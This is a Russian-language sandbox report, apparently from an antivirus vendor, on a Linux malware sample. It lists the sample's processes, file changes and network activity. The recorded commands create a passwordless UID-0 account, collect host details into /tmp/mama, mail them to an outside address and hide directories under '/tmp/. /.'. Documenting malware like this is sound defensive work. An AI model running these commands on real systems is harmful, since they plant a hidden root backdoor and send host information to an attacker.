Техническая информация
Вредоносные функции:
Получает привилегии суперпользователя (root)
Запускает себя в качестве демона
Подменяет имя приложения на:
- adduser
Запускает процессы:
- /bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/sh <SAMPLE_FULL_PATH> -c
- clear
- id -u
- sleep 3
- adduser -g 0 -u 0 -o bash
- passwd -d bash
- ifconfig
- uname -a
- uptime
- sshd
- cat /tmp/mama
- mail -s Inca o roata root@addlebrain.com
- /usr/sbin/sendmail send-mail -i -- root@addlebrain.com
- /usr/sbin/exim4 -Mc 1eoYkF-0000BG-4s
- rm -rf /tmp/mama
- mkdir -p /tmp/. /. /. /. /. /. /. /. /.
- sleep 1
- /usr/sbin/exim4 #-E1eoYkF-0000BG-4s
- /usr/sbin/exim4 -Mc 1eoYkG-0000BN-73
- sleep 2
- sleep 4
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /var/spool/exim4/input/1eoYkF-0000BG-4s-D
- /var/spool/exim4/input/hdr.698
- /var/spool/exim4/msglog/1eoYkF-0000BG-4s
- /var/spool/exim4/input/1eoYkG-0000BN-73-D
- /var/spool/exim4/input/hdr.705
- /var/spool/exim4/input/hdr.700
- /var/spool/exim4/msglog/1eoYkG-0000BN-73
- /var/spool/exim4/input/1eoYkG-0000BN-73-J
- /var/mail/user
Создает папки:
- /tmp/.
- /tmp/. /.
- /tmp/. /. /.
- /tmp/. /. /. /.
- /tmp/. /. /. /. /.
- /tmp/. /. /. /. /. /.
- /tmp/. /. /. /. /. /. /.
- /tmp/. /. /. /. /. /. /. /.
- /tmp/. /. /. /. /. /. /. /. /.
Создает символические ссылки (симлинки):
- /var/mail/user.lock"
Создает или модифицирует файлы:
- /tmp/mama
- /tmp/mail.RsXXXXsG8HMd
- /tmp/mail.RsXXXXsG8HMd (deleted)
- /tmp/mail.RsXXXXA8h4No
- /tmp/mail.RsXXXXA8h4No (deleted)
- /var/spool/exim4/input//1eoYkF-0000BG-4s-D
- /var/spool/exim4/input/1eoYkF-0000BG-4s-D
- /var/spool/exim4/input//hdr.698
- /var/spool/exim4/input/hdr.698
- /var/spool/exim4/msglog//1eoYkF-0000BG-4s
- /var/spool/exim4/msglog/1eoYkF-0000BG-4s
- /var/log/exim4/mainlog
- /var/spool/exim4/db/retry.lockfile
- /var/spool/exim4/input//1eoYkG-0000BN-73-D
- /var/spool/exim4/input/1eoYkG-0000BN-73-D
- /var/spool/exim4/input//hdr.705
- /var/spool/exim4/input/hdr.705
- /var/spool/exim4/msglog//1eoYkG-0000BN-73
- /var/spool/exim4/msglog/1eoYkG-0000BN-73
- /var/spool/exim4/input//hdr.700
- /var/spool/exim4/input/hdr.700
- /var/spool/exim4/input//1eoYkG-0000BN-73-J
- /var/mail/user.lock.box-i386.5a8db48c.000002c6
- /var/mail/user
- /var/spool/exim4/input/1eoYkG-0000BN-73-J
Удаляет файлы:
- /tmp/mail.RsXXXXsG8HMd"
- /tmp/mail.RsXXXXA8h4No"
- /tmp/mama"
- /var/spool/exim4/msglog//1eoYkF-0000BG-4s"
- /var/spool/exim4/input//1eoYkF-0000BG-4s-D"
- /var/spool/exim4/input//1eoYkF-0000BG-4s-H"
- /var/spool/exim4/input//1eoYkF-0000BG-4s-J"
- /var/mail/user.lock.box-i386.5a8db48c.000002c6"
- /var/mail/user.lock"
- /var/spool/exim4/msglog//1eoYkG-0000BN-73"
- /var/spool/exim4/input//1eoYkG-0000BN-73-D"
- /var/spool/exim4/input//1eoYkG-0000BN-73-H"
- /var/spool/exim4/input//1eoYkG-0000BN-73-J"
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
DNS ASK:
- bo##i386
Прочее:
Собирает информацию о CPU
